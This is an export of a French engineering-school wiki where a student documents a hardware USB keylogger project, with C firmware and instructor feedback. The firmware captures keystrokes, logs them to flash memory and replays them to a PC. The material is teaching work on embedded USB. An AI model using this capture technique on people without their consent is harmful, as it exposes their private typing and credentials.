void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=835</id>
		<title>Fichier:2023 EC5 Keylogger.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=835"/>
		<updated>2023-08-14T18:47:34Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=824</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=824"/>
		<updated>2023-08-14T07:48:40Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Semaine 5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
